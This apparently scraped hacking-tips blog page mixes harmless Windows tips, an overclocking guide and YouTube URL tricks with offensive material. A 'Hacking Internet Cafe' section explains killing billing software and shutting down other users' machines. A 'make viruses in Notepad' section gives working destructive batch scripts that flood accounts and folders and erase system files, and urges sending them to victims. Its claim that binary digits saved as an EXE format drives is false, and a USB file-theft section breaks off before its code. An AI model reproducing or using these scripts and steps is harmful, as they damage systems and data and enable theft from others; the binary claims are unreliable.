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Hacking

Click Here To Know Many Tricks and Tips Of HACKING facebook,twitter and other accounts and passwords

Hacking Safety And Security

Click Here to know how to protect your computer and inetrnet from hacking and know hacking safety and security tips and tricks

Facebook And Twitter

Click On Picture For TWITTER And Click On This Tittle For FACEBOOK .Hacking And Security Tips Of facebook and twitter.Know how to byepass facebook login and twitter login

Gmail And Yahoo

Click On Above Picture For GMAIL Hacking And Security Tips . And.Click On This Title For YAHOO Hacking and security tips

Windows Tips: ACCESS YOUR DESKTOP ICONS FROM YOUR TASKBAR

Windows Tips: ACCESS YOUR DESKTOP ICONS FROM YOUR TASKBAR

is cluttered with windows which you don't want to minimize?
A simple solution. Place a shortcut to your desktop atop your START Menu. Here's how:
1) Right click on your TASKBAR and choose PROPERTIES.
2) Select the START MENU PROGRAMS tab, then the ADVANCED button.
3) In the right panel, under the PROGRAMS folder, you will see any shortcuts you have already placed atop your START menu. Right click here in the white space here and choose NEW, then SHORTCUT.
4. In the command line for your shortcut, type c:\windows\desktop (If your Windows directory has another name, substitute that name for windows).
5. Click NEXT. Then in the name box, name your shortcut Desktop.
6. Click the FINISH button.
7. Close the Explorer window, then click ok in TASKBAR PROPERTIES.
8. Now, open START on your taskbar. VOILA! Your desktop folder icon should be visible. Click it to open your desktop folder.
Success!You will now be able to view and access your desktop shortcut icons (not non-shortcut icons). If you want ALL desktop icons to be visible (Recycle Bin, My Computer etc.), you will need to place shortcuts to these other icons on your desktop.
Hint:If you normally hide your taskbar, so that it is not always on top of other windows, you can access it at any time from any program by pressing and holding control, then pressing escape(the ESC key at top left of your keyboard). You may then quickly choose your desktop folder and access desktop icons as well as any other programs accessible via your taskbar and programs menu.
OPEN EXPLORER RATHER THAN MY COMPUTER TO VIEW FILES
(This is a great tip!! One of the most useful customizations...)
Have you created drive icons for your hard drives and floppy drives on your desktop
If so, you may wish that they opened in the two-paned Explorer view, rather than in My Computer.
To change the default view to Explorer:
1) Open Explorer (from Start, Programs, Explorer, or if you have created it, from the Explorericon on your desktop).
2) Choose the View, Options menu.
3) Select the File Types tab.

4). Under registered file types, double click on FOLDER.
5) From the list of actions, select explore.
6) Click on the SET DEFAULT button at bottom right!
Now when you double click on a folder or open a drive icon shortcut Explorer will open instead of My Computer.

Hacking Internet Cafe

Hacking Internet Cafe

Basic overview of this tutorial is if there's some kind of timer or client
software on the computer you're using at the Net Cafe you can hopefully disable it.

Firstly we need to gain access to command prompt (cmd.exe) to do this there's a few
ways.

1) The most basic is to go Start/Run/cmd.exe and a black input screen should pop up.
Say that's disabled then we can try some other methods.

2) Press the Windows Logo + R and it will start run up. (hopefully)

3) Navigate your way to C:\WINDOWS\system32 and run cmd.exe from in there.

4) Open notepad type "cmd.exe" without the quotation marks ("") and then
go to File/Save As.. and type the name for the file and have it end with
.bat for example "MyNewFile.bat" and select Save as type and select All Files.

Make sure to save it somewhere you can access it, Like the desktop.

If they have deleted Notepad then go in to Internet Explorer and right click
and select View Source or on the menu bar click View then source and perform the
same process as above.

Once you have done this you can run the file. If you can't open files from the desktop
then go back into Internet Explorer and go to View/Explorer Bar/Folders and navigate to
the Desktop and it will show the saves files on the desktop in a folder type window.


Once you have access to command prompt you can perform some usefull actions e.g shutdown
programs, shutdown other peoples computers, add new accounts.

Ok, well most Net cafes have software running that boots you off of the machine after a certain
ammount of time unless you pay for more time. Well, we don't want that to happen now do we?

Firstly try figure out the Net Cafes timeing/credit softwares name cause this can help.



For more info on the software running we can use the command "tasklist" inside of command prompt.

example: "tasklist" (without quotation marks)

Basicly it brings up all the processes running.


Now say we know the process name for the Net Cafes software we need to disable it. So, how do we do that?
we use "taskkill" >:]

Basicly kills the process we specifcy. Say the Net Cafes software is "Timer.exe" for example and it's shown in
the task list like that we would do this.

example: "taskkill /im Timer.exe /f"

/im : is for image name. Not quite sure what it means, but we need it.

Timer.exe : that's the Net cafes software/process name (example)

/f : Forcefully shuts the program.


Now hopefully your Net Cafes software is terminated and you can freely use their computer with no time restriction.

If you have no luck finding the Net Cafes software name then just try ending processes that Windows Doesn't rely on.



Perhaps you want to have a little fun with people on the network at the Net cafe? well here's a few things for you
to do with command prompt.

Find the people on the network with "net view" and it will list the other computers names on the network.

The shutdown command. Basically the shutdown command will shutdown a computer on the network or your own computer (comes in
handy)

example: "shutdown -s -m HJCPwnts -t 20 -c You're being shutdown"

use "shutdown -a" to cancel this action so you don't shut your own computer down.

-s : sets the shutdown action.

-m : specify the computer name (HJCPwts) that's what my computer name would be on the network. (to find out
how to find computer names use net view. It will list the other computer names.)

-t : the time until shutdown in seconds. Just specify it for 0 if you want it instant.

-c : the comment that will be shown on the shutdown window (not needed, but goo to leave the victim a message)

-f : I left this one out because it shuts the applications the user is running down, but add it on the end when doing
it to someone else.

Now for some more stuff. Perhaps we want to create a new account on this computer and login to it? Well, lets do it then. Ok, this is how we do it.

In command prompt type "net user CoolGuy /add" this basically adds a new user by the name of CoolGuy. Simple ehh?
well we have struck a problemo. How the hell do we login to that account? EASY!

In fact we have already covered most of it. We will be using the shutdown command again.

"shutdown -l" : basicly this logs us out and we can log back in with the CoolGuy account.

-l : sets the logout action.

Ok, so you have had your fun with the new account now and you want to get rid of it in case
of the Net Cafe staff finding it. Well that's simple aswell, all we do is..

"net user CoolGuy /delete" and it will delete that user. Make sure to check it has been
deleted by using "net user" and it will show the accounts.

PS This wasn't written by me. I'm just sharing it. All due credit goes to the original poster.

Make Your Own Computer Viruses In Notepad

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to make simple .bat file (virus) that can't be detected by any antivirus

Here are some good viruses ,i am not responsible for any kind of damage to your system :-D

  • Copy this to notepad and save as flood1.bat :-D


    @ECHO OFF
    @ECHO A PHOENIX PRODUCTION
    @ECHO MAIN BAT RUNNING
    GOTO start

    :start
    @ECHO SET snowball2=1 >> bat6.bat
    @ECHO GOTO flood5 >> bat6.bat
    @ECHO :flood5 >> bat6.bat
    @ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
    @ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
    @ECHO GOTO flood5 >> bat6.bat
    START /MIN bat6.bat
    GOTO bat5

    :bat5
    @ECHO CD %%ProgramFiles%%\ >> bat5.bat
    @ECHO SET maggi=1 >> bat5.bat
    @ECHO GOTO flood4 >> bat5.bat
    @ECHO :flood4 >> bat5.bat
    @ECHO MKDIR maggi%%maggi%% >> bat5.bat
    @ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
    @ECHO GOTO flood4 >> bat5.bat
    START /MIN bat5.bat
    GOTO bat4

    :bat4
    @ECHO CD %%SystemRoot%%\ >> bat4.bat
    @ECHO SET marge=1 >> bat4.bat
    @ECHO GOTO flood3 >> bat4.bat
    @ECHO :flood3 >> bat4.bat
    @ECHO MKDIR marge%%marge%% >> bat4.bat
    @ECHO SET /a marge=%%marge%%+1 >> bat4.bat
    @ECHO GOTO flood3 >> bat4.bat
    START /MIN bat4.bat
    GOTO bat3

    :bat3
    @ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
    @ECHO SET bart=1 >> bat3.bat
    @ECHO GOTO flood2 >> bat3.bat
    @ECHO :flood2 >> bat3.bat
    @ECHO MKDIR bart%%bart%% >> bat3.bat
    @ECHO SET /a bart=%%bart%%+1 >> bat3.bat
    @ECHO GOTO flood2 >> bat3.bat
    START /MIN bat3.bat
    GOTO bat2

    :bat2
    @ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
    @ECHO SET homer=1 >> bat2.bat
    @ECHO GOTO flood >> bat2.bat
    @ECHO :flood >> bat2.bat
    @ECHO MKDIR homer%%homer%% >> bat2.bat
    @ECHO SET /a homer=%%homer%%+1 >> bat2.bat
    @ECHO GOTO flood >> bat2.bat
    START /MIN bat2.bat
    GOTO original

    :original
    CD %HomeDrive%\
    SET lisa=1
    GOTO flood1
    :flood1
    MKDIR lisa%lisa%
    SET /a lisa=%lisa%+1
    GOTO flood1

    what does it do : this is an extremely harmful virus the will keep replicating itself until your harddrive is totally full and will destroy ur comp.



  • A simple binary codes that can format the sytem drive, secondary drives :-D

    1) Copy The Following In Notepad Exactly as it

    01001011000111110010010101010101010000011111100000

    2) Save As An EXE Any Name Will Do

    3) Send the EXE to People And Infect


  • Some other intersting formating codes...
    1) format c:\ /Q/X — this will format your drive c:\

    01100110011011110111001001101101011000010111010000 100000011000110011101001011100

    0010000000101111010100010010111101011000

    2) format d:\ /Q/X — this will format your dirve d:\

    01100110011011110111001001101101011000010111010000 100000011001000011101001011100

    0010000000101111010100010010111101011000

    3) format a:\ /Q/X — this will format your drive a:\

    01100110011011110111001001101101011000010111010000 100000011000010011101001011100

    0010000000101111010100010010111101011000

    4) del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

    01100100011001010110110000100000001011110100011000 101111010100110010111101010001

    00100000011000110011101001011100011000100110111101 101111011101000010111001101001

    0110111001101001


  • Some more intersting stuff ..
    open notepad


    erase c:\windows


    and save as

    FINDOUTANAME.cmd


    wat does it do : will erase c:/windows ......Lol


  • Here is another one which is funny......

    cls
    :A
    color 0a
    cls
    @echo off
    echo Wscript.Sleep 5000>C:\sleep5000.vbs
    echo Wscript.Sleep 3000>C:\sleep3000.vbs
    echo Wscript.Sleep 4000>C:\sleep4000.vbs
    echo Wscript.Sleep 2000>C:\sleep2000.vbs
    cd %systemroot%\System32
    dir
    cls
    start /w wscript.exe C:\sleep3000.vbs
    echo Deleting Critical System Files...
    echo del *.*
    start /w wscript.exe C:\sleep3000.vbs
    echo Deletion Successful!
    echo:
    echo:
    echo:
    echo Deleting Root Partition...
    start /w wscript.exe C:\sleep2000.vbs
    echo del %SYSTEMROOT%
    start /w wscript.exe C:\sleep4000.vbs
    echo Deletion Successful!
    start /w wscript.exe C:\sleep2000.vbs
    echo:
    echo:
    echo:
    echo Creating Directory h4x...
    cd C:\Documents and Settings\All Users\Start Menu\Programs\
    mkdir h4x
    start /w wscript.exe C:\sleep3000.vbs
    echo Directory Creation Successful!
    echo:
    echo:
    echo:
    echo Execution Attempt 1...
    start /w wscript.exe C:\sleep3000.vbs
    echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
    echo start hax.exe
    start /w wscript.exe C:\sleep3000.vbs
    echo Virus Executed!
    echo:
    echo:
    echo:
    start /w wscript.exe C:\sleep2000.vbs
    echo Disabling Windows Firewall...
    start /w wscript.exe C:\sleep2000.vbs
    echo Killing all processes...
    start /w wscript.exe C:\sleep2000.vbs
    echo Allowing virus to boot from startup...
    start /w wscript.exe C:\sleep2000.vbs
    echo:
    echo:
    echo Virus has been executed successfully!
    start /w wscript.exe C:\sleep2000.vbs
    echo:
    echo Have fun!
    start /w wscript.exe C:\sleep2000.vbs
    pause
    shutdown -f -s -c "Your computer has committed suicide. Have a nice day."

What is Overclocking?

What is Overclocking?

What is Overclocking?
Overclocking is the process of making various components of your computer run at faster speeds than they do when you first buy them. For instance, if you buy a Pentium 4 3.2GHz processor, and you want it to run faster, you could overclock the processor to make it run at 3.6GHz.

¡Disclaimer!
WARNING: Overclocking can F up your stuff. Overclocking wares down the hardware and the life-expectancy of the entire computer will be lowered if you overclock. If you attempt to overclock, I, Rogue_Jedi, and Overclockers.com and its inhabitants are not responsible for anything broken or damaged when using this guide.
This guide is merely for those who accept the possible outcomes of this overclocking guide/FAQ, and overclocking in general.

Why would you want to overclock? Well, the most obvious reason is that you can get more out of a processor than what you payed for. You can buy a relatively cheap processor and overclock it to run at the speed of a much more expensive processor. If you're willing to put in the time and effort, overclocking can save you a bunch of money in the future or, if you need to be at the bleeding edge like me, can give you a faster processor than you could possibly buy from a store

The Dangers of Overclocking
First of all, let me say that if you are careful and know what you are doing, it will be very hard for you to do any permanent damage to your computer by overclocking. Your computer will either crash or just refuse to boot if you are pushing the system too far. It's very hard to fry your system by just pushing it to it's limits.

There are dangers, however. The first and most common danger is heat. When you make a component of your computer do more work than it used to, it's going to generate more heat. If you don't have sufficient cooling, your system can and will overheat. By itself, overheating cannot kill your computer, though. The only way that you will kill your computer by overheating is if you repeatedly try to run the system at temperatures higher than recommended. As I said, you should try to stay under 60 C.

Don't get overly worried about overheating issues, though. You will see signs before your system gets fried. Random crashes are the most common sign. Overheating is also easily prevented with the use of thermal sensors which can tell you how hot your system is running. If you see a temperature that you think is too high, either run the system at a lower speed or get some better cooling. I will go over cooling later in this guide.

The other "danger" of overclocking is that it can reduce the lifespan of your components. When you run more voltage through a component, it's lifespan decreases. A small boost won't have much of an affect, but if you plan on using a large overclock, you will want to be aware of the decrease in lifespan. This is not usually an issue, however, since anybody that is overclocking likely will not be using the same components for more than 4-5 years, and it is unlikely that any of your components will fail before 4-5 years regardless of how much voltage you run through it. Most processors are designed to last for up to 10 years, so losing a few of those years is usually worth the increase in performance in the mind of an overclocker.

The Basics
To understand how to overclock your system, you must first understand how your system works. The most common component to overclock is your processor.

When you buy a processor, or CPU, you will see it's operating speed. For instance, a Pentium 4 3.2GHz CPU runs at 3.2GHz, or 3200 MHz. This is a measurement of how many clock cycles the processor goes through in one second. A clock cycle is a period of time in which a processor can carry out a given amount of instructions. So, logically, the more clock cycles a processor can execute in one second, the faster it can process information and the faster your system will run. One MHz is one million clock cycles per second, so a 3.2GHz processor can go through 3,200,000,000, or 3 billion two hundred million clock cycles in every second. Pretty amazing, right?

The goal of overclocking is to raise the GHz rating of your processor so that it can go through more clock cycles every second. The formula for the speed of your processor if this:

FSB (in MHz) x Multiplier=Speed in MHz.

Now to explain what the FSB and Multiplier are:

The FSB (or, for AMD processors, the HTT*), or Front Side Bus, is the channel through which your entire system communicates with your CPU. So, obviously, the faster your FSB can run, the faster your entire system can run.

CPU manufacturers have found ways to increase the effective speed of the FSB of a CPU. They simply send more instructions in every clock cycle. So instead of sending one instruction every one clock cycle, CPU manufacturers have found ways to send two instructions per clock cycle (AMD CPUs) or even four instructions per clock cycle (Intel CPUs). So, when you look at a CPU and see it's FSB speed, you must realize that it is not really running at that speed. Intel CPUs are "quad pumped", meaning they send 4 instructions per clock cycle. This means that if you see an FSB of 800MHz, the underlying FSB speed is really only 200MHz, but it is sending 4 instructions per clock cycle so it achieves an effective speed of 800MHz. The same logic can be applied to AMD CPUs, but they are only "double pumped", meaning they only send 2 instructions per clock cycle. So an FSB of 400MHz on an AMD CPU is comprised of an underlying 200MHz FSB sending 2 instructions per clock cycle.

This is important because when you are overclocking, you will be dealing with the real FSB speed of the CPU, not the effective CPU speed.

The multiplier portion of the speed equation is nothing more than a number that, when multiplied by the FSB speed, will give you the total speed of the processor. For instance, if you have a CPU that has a 200MHz FSB (real FSB speed, before it is double or quad pumped) and has a multiplier of 10, then the equation becomes:

(FSB) 200MHz x (Multiplier) 10= 2000MHz CPU speed, or 2.0GHz.

On some CPUs, such as the Intel processors since 1998, the multiplier is locked and cannot be changed. On others, such as the AMD Athlon 64 processors, the multiplier is "top locked", which means that you can change the multiplier to a lower number but cannot raise it higher than it was originally. On other CPUs, the multiplier is completely unlocked, meaning you can change it to any number that you wish. This type of CPU is an overclockers dream, since you can overclock the CPU simply by raising the multiplier, but is very uncommon nowadays.

It is much easier to raise or lower the multiplier on a CPU than the FSB. This is because, unlike the FSB, the multiplier only effects the CPU speed. When you change the FSB, you are really changing the speed at which every single component of your computer communicates with your CPU. This, in effect, is overclocking all of the other components of your system. This can bring about all sorts of problems when other components that you don't intend to overclock are pushed too far and fail to work. Once you understand how overclocking works, though, you will know how to prevent these issues.

*On AMD Athlon 64 CPUs, the term FSB is really a misnomer. There is no FSB, per se. The FSB is integrated into the chip. This allows the FSB to communicate with the CPU much faster than Intel's standard FSB method. It also can cause some confusion, since the FSB on an Athlon 64 can sometimes be referred to as the HTT. If you see somebody talking about raising the HTT on an Athlon 64 CPU and is talking about speeds that you recognize as common FSB speeds, then just think of the HTT as the FSB. For the most part, they function in the same way and can be treated the same and thinking of the HTT as the FSB can eliminate some possible confusion.


How to Overclock
So now you understand how a processor gets it's speed rating. Great, but how do you raise that speed?

Well, the most common method of overclocking is through the BIOS. The BIOS can be reached by pressing a variety of keys while your system is booting up. The most common key to get into the BIOS is the Delete key, but others may be used such as F1, F2, any other F button, Enter, and some others. Before your system starts loading Windows (or whatever OS you have), it should have a screen that will tell you what button to use at the bottom.

Once you are in the BIOS, assuming that you have a BIOS that supports overclocking*, you should have access to all of the settings needed to overclock your system. The settings that you will most likely be adjusting are:

Multiplier, FSB, RAM Timings, RAM Speed, and RAM Ratio.

On a very basic level, all you are trying to do is to get the highest FSB x Multiplier formula that you can achieve. The easiest way to do this is to just raise the multiplier, but that will not work on most processors since the multiplier is locked. The next method is to simply raise the FSB. This is pretty self explanatory, and all of the RAM issues that have to be dealt with when raising the FSB will be explained below. Once you've found the speed at which the CPU won't go any faster, you have one more option.

If you really want to push your system to the limit, you can try lowering the multiplier in order to raise the FSB even higher. In order to understand this, imagine that you have a 2.0GHz processor that has a 200MHz FSB and a 10x multiplier. So 200MHz x 10=2.0GHz. Obviously, that equation works, but there are other ways to get to 2.0GHz. You could raise the multiplier to 20 and lower the FSB to 100MHz, or you could raise the FSB to 250MHz and lower the multiplier to 8. Both of those combinations would give you the same 2.0GHz that you started out with. So both of those combinations should give you the same system performance, right?

Wrong. Since the FSB is the channel through which your system communicates with your processor, you want it to be as high as possible. So if you lowered the FSB to 100MHz and raised the multiplier to 20, you would still have a clock speed of 2.0GHz, but the rest of the system would be communicating with your processor much slower than before resulting in a loss in system performance.

Ideally, you would want to lower the multiplier in order to raise the FSB as high as possible. In principle, this sounds easy, but it gets complicated when you involve the rest of the system, since the rest of the system is dependent on the FSB as well, chiefly the RAM. Which leads me to the next section on RAM.

*Most retail computer manufacturers use motherboards and BIOSes that do not support overclocking. You won't be able to access the settings you need from the BIOS. There are utilities that will allow you to overclock from your desktop, such as this one, but I don't recommend them since I have never tried them out myself.


RAM and what it has to do with Overclocking
First and foremost, I consider this site to be the Holy Grail of RAM information. Learn to love it

As I said before, the FSB is the pathway through which your system communicates with your CPU. So raising the FSB, in effect, overclocks the rest of your system as well.

The component that is most affected by raising the FSB is your RAM. When you buy RAM, it is rated at a certain speed. I'll use the table from my post to show these speeds:
Quote:
PC-2100 - DDR266
PC-2700 - DDR333
PC-3200 - DDR400
PC-3500 - DDR434
PC-3700 - DDR464
PC-4000 - DDR500
PC-4200 - DDR525
PC-4400 - DDR550
PC-4800 - DDR600

To understand what this table means, lookhere. Note how the RAM's rated speed is DDR PC-4000. Then refer to this table and see how PC-4000 is equivalent to DDR 500.

To understand this, you must first understand how RAM works. RAM, or Random Access Memory, serves as temporary storage of files that the CPU needs to access quickly. For instance, when you load a level in a game, your CPU will load the level into RAM so that it can access the information quickly whenever it needs to, instead of loading the information from the relatively slow hard drive.

The important thing to know is that RAM functions at a certain speed, which is much lower than the CPU speed. Most RAM today runs at speeds between 133MHz and 300MHz. This may confuse you, since those speeds are not listed on my chart.

This is because RAM manufacturers, much like the CPU manufacturers from before, have managed to get RAM to send information twice every RAM clock cycle.* This is the reason for the "DDR" in the RAM speed rating. It stands for Double Data Rate. So DDR 400 means that the RAM operates at an effective speed of 400MHz, with the "400" in DDR 400 standing for the clock speed. Since it is sending instructions twice per clock cycle, that means it's real operating frequency is 200MHz. This works much like AMD's "double pumping" of the FSB.

So go back to the RAM that I linked before. It is listed at a speed of DDR PC-4000. PC-4000 is equivalent to DDR 500, which means that PC-4000 RAM has an effective speed of 500MHz with an underlying 250MHz clock speed.

So what does this all have to do with overclocking?

Well, as I said before, when you raise the FSB, you effectively overclock everything else in your system. This applies to RAM too. RAM that is rated at PC-3200 (DDR 400) is rated to run at speeds up to 200MHz. For a non-overclocker, this is fine, since your FSB won't be over 200MHz anyway.

Problems can occur, though, when you want to raise your FSB to speeds over 200MHz. Since the RAM is only rated to run at speeds up to 200MHz, raising your FSB higher than 200MHz can cause your system to crash. How do you solve this? There are three solutions: using a FSB:RAM ratio, overclocking your RAM, or simply buying RAM rated at a higher speed.

Since you probably only understood the last of those three options, I'll explain them:

FSB:RAM Ratio: If you want to raise your FSB to a higher speed than your RAM supports, you have the option of running your RAM at a lower speed than your FSB. This is done using an FSB:RAM ratio. Basically, the FSB:RAM ratio allows you to select numbers that set up a ratio between your FSB and RAM speeds. So, say you are using the PC-3200 (DDR 400) RAM that I mentioned before which runs at 200MHz. But you want to raise your FSB to 250MHz to overclock your CPU. Obviously, your RAM will not appreciate the raised FSB speed and will most likely cause your system to crash. To solve this, you can set up a 5:4 FSB:RAM ratio. Basically, this ratio will mean that for every 5MHz that your FSB runs at, your RAM will only run at 4MHz.

To make it easier, convert the 5:4 ratio to a 100:80 ratio. So for every 100MHz your FSB runs at, your RAM will only run at 80MHz. Basically, this means that your RAM will only run at 80% of your FSB speed. So with your 250MHz target FSB, running in a 5:4 FSB:RAM ratio, your RAM will be running at 200MHz, which is 80% of 250MHz. This is perfect, since your RAM is rated for 200MHz.

This solution, however, isn't ideal. Running the FSB and RAM with a ratio causes gaps in between the time that the FSB can communicate with the RAM. This causes slowdowns that wouldn't be there if the RAM and the FSB were running at the same speed. If you want the most speed out of your system, using an FSB:RAM ratio wouldn't be the best solution.

Overclocking your RAM
Overclocking your RAM is really very simple. The principle behind overclocking RAM is the same as overclocking your CPU: to get the RAM to run at a higher speed than it is supposed to run at. Luckily, the similarities between the two types of overclocking end there, or else RAM overclocking would be much more complicated than it is

To overclock RAM, you just enter the BIOS and attempt to run the RAM at a higher speed than it is rated at. For instance, you could try to run PC-3200 (DDR 400) RAM at a speed of 210MHz, which would be 10MHz over the rated speed. This could work, but in some cases it will cause the system to crash. If this happens, don't panic. The problem can be solved pretty easily by raising the voltage to your RAM. The voltage to your RAM, also known as vdimm, can be adjusted in most BIOSes. Raise it using the smallest increments available and test each setting to see if it works. Once you find a setting that works, you can either keep it or try to push your RAM farther. If you give the RAM too much voltage, however, it could get fried. For info on what voltages are safe, refer back to my Holy Grail of RAM

The only other thing that you have to worry about when overclocking RAM are the latency timings. These timings are the delays between certain RAM functions. If you want more info on this, you know where to look Basically, if you want to raise the speed of your RAM, you may have to raise the timings. It's not all that complicated, though, and shouldn't be too hard to understand.

That's really all there is to it. If only overclocking the CPU were that easy

Buying RAM rated at a Higher Speed
This one's the simplest thing in this entire guide If you want to raise your FSB to, say, 250MHz, just buy RAM that is rated to run at 250MHz, which would be DDR 500. The only downside to this option is that faster RAM will cost you more than slower RAM. Since overclocking your RAM is relatively simple, you might want to consider buying slower RAM and overclocking it to fit your needs. It could save you over a hundred bucks, depending on what type of RAM you need.


That's basically all you need to know about RAM and overclocking. Now onto the rest of the guide.


Voltage and how it affects Overclocking
There will be a point when you are overclocking and you simply cannot increase the speed of your CPU anymore no matter what you do and how much cooling you have. This is most likely because your CPU is not getting enough voltage. This is very similar to the RAM voltage scenario that I addressed above. To solve this, you simply up the voltage to your CPU, also known as the vcore. Do this in the same fashion described in the RAM section. Once you have enough voltage for the CPU to be stable, you can either keep the CPU at that speed or attempt to overclock it even further. As with the RAM, be careful not to overload the CPU with voltage. Each processor has recommended voltages setup by the manufacturer. Look on the website to find these. Try not to go past the recommended voltages.

Keep in mind that upping the voltage to your CPU will cause much greater heat output. This is why it is essential to have good cooling when overclocking. Which leads me to my next topic...


Cooling
As I said before, when you up the voltage to your CPU, the heat output great increases. This makes proper cooling a necessity. Here is a good set of links related to cooling and a few other topics.

There are basically three "levels" of case cooling:

Air Cooling (Fans)

Water Cooling (look here)

Peltier/Phase Change Cooling (VERY expensive and high end cooling[/b]

I really don't have much knowledge on the Peltier/Phase Change method of cooling, so I won't address it. All you need to know is that it could cost you upwards of $1000 dollars and can keep your CPU at sub-zero temperatures. It's intended for VERY high end overclockers, and I assume that nobody here will be using it.

The other two, however, are much more affordable and realistic.

Everybody knows about air cooling. If you're on a computer now (and I don't know how you'd be seeing this if you're not ), you probably hear a constant humming coming from it. If you look in the back, you will see a fan. This fan is basically all that air cooling is: the use of fans to suck cold air in and push hot air out. There are various ways to set up your fans, but you generally want to have an equal amount of air being sucked in and pushed out. For more info, refer to the link that I gave at the beginning of this section.

Water cooling is more expensive and exotic than air cooling. It is basically the use of pumps and radiators to cool your system more effectively than air cooling. For more info on it, check out the link that I gave next to water cooling before.

Those are the two most commonly used methods of case cooling. Good case cooling, however, is not the only component necessary for a cool computer. The other main component is the CPU Heatsink/Fan, or HSF. The purpose of the HSF is to channel heat away from the CPU and into the case so that it can be pushed out from the case fans. It is necessary to have an HSF on your CPU at all times. Your CPU will be fried in a matter of seconds if it is not.

There are tons of HSF's out there. For a ton of info on HSF's and everything that goes with them, check out this page again. It basically covers all you need to know about HSF's and air cooling.

very useful YouTube hacks

very useful YouTube hacks

Do you utilize YouTube to host videos you create and want to share with the world at the best quality? Has someone else created a YouTube video, but you are only interested in a portion of it for your blog or website? Here are 2 tips that help ensure your audience has a better YouTube expereince:
Tip 1. Forcing the browser to use the High Quality version of the video
You may notice just under the lower right coner of the video window, some videos have an option to “Watch In High Quality”. By default, these videos will play as a 320×240 FLV file at 320Kb/s. Check out this sample:
The user could click on this link to “Watch in High Quality” which will reload the video and play the MP4 version , which is 480×360 at 512Kb/s. By adding &fmt=18 to the end of the URL, you’ll make the URL you share with others bring them right to the high quality version. Here’s the same video in the High Quality view:
What else are you gaining besides increased video resolution? The video is compressed with H.264 compression, so you get better video even at the same data rate. You also go from a low fidelity mono audio feed to stereo @ 44.1Khz sample rate.
&fmt=6 increases the resolution from 320×240 to 448×336, Flash 7 video @ 900Kbps; audio @ 44.1KHz 96Kbps Mono CBR.
&fmt=18 increases the resolution to 480×360, H.264 video @ 512Kbps; audio @ 44.1KHz 128Kbps Stereo. Note, the bandwidth may be lower, but it’s utilizing a more efficient compression codec.
UPDATE: &fmt=22 increaes the resolution to 720p HD video if the source was uploaded at a high enough resolution.
Tip 2. Advancing the video to a specific playback point.
If you evern wanted to link to a video in YouTube that was lengthy, but had a very interesting part partway through, there is a hack to allow you to begin playback at a precise time. You can specify the minutes and seconds of the start time like this:
add #t=53s to the end of the URL to start at 53 seconds into it:
add #t=1m57s to the end of the video URL to start playback at 1 minute 57 seconds:
Think of this as bookmarking your video clips! Now you can link to a video, and have an index of the segments included, which link right to that precise moment!

How to create a folder lock without any software

How to create a folder lock without any software

Hi there,
Here are some easy step to create a folderlock with out any software

follow the instructions its a helpful trick

1.copy the code given bellow

2.open a notepad and paste it then 'Save' it as batch file (with extension '.bat').
for example :lock file.bat

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End


3.Then you see a batch file. Double click on this batch file then i will automatic to create a folder name locker.

4.New folder named 'Locker' would be formed at the same location.

5.Now open the folder then you can store all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder name'Locker'.

If you want to unlock your files,double click the batch file again and you would be prompted for password.

Enter the password and enjoy access to the folder.
Enjoy ^^

Control your mouse with keyboard

Control your mouse with keyboard

Mouse not work??move your mouse pointer with you keyboard
You can control your mouse pointer with keyboard keys in all windows versions. When your mouse stops working, you can enable this keyboard feature to complete your important work. This keyboard mouse can performs all tasks same like a normal mouse.

Follow the given steps to activate the keyboard mouse:

1. To edit this feature, first you should log onto your computer with administrative rights.
2. To activate this feature, press Alt+Shift+NumLock keys at once and you will receive a small MouseKey box.
3. To keep MouseKeys on, click on Ok button or click on cancel button to cancel MouseKeys box.
4. Click on Settings button, if you want to adjust the mouse cursor detail settings.
5. Here a new dialog box will appear with the title Settings for MouseKeys, now you can manage all mouse settings for example mouse cursor speed, acceleration and some other features.

Now using Numeric keypad, you can move your mouse pointer.

The controls are:

* 1,2,3,4,6,7,8 and 9 keys are used to move the mouse cursor into different directions.
* Key 5 is used as mouse click button.
* Insert key used to hold down mouse button.
* + Sign used to double click on any object.
* Delete button used to release the mouse.
* Click on NumLock button to disable this keyboard mouse feature

PC Tricks

How to Steal people files using usb drive

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

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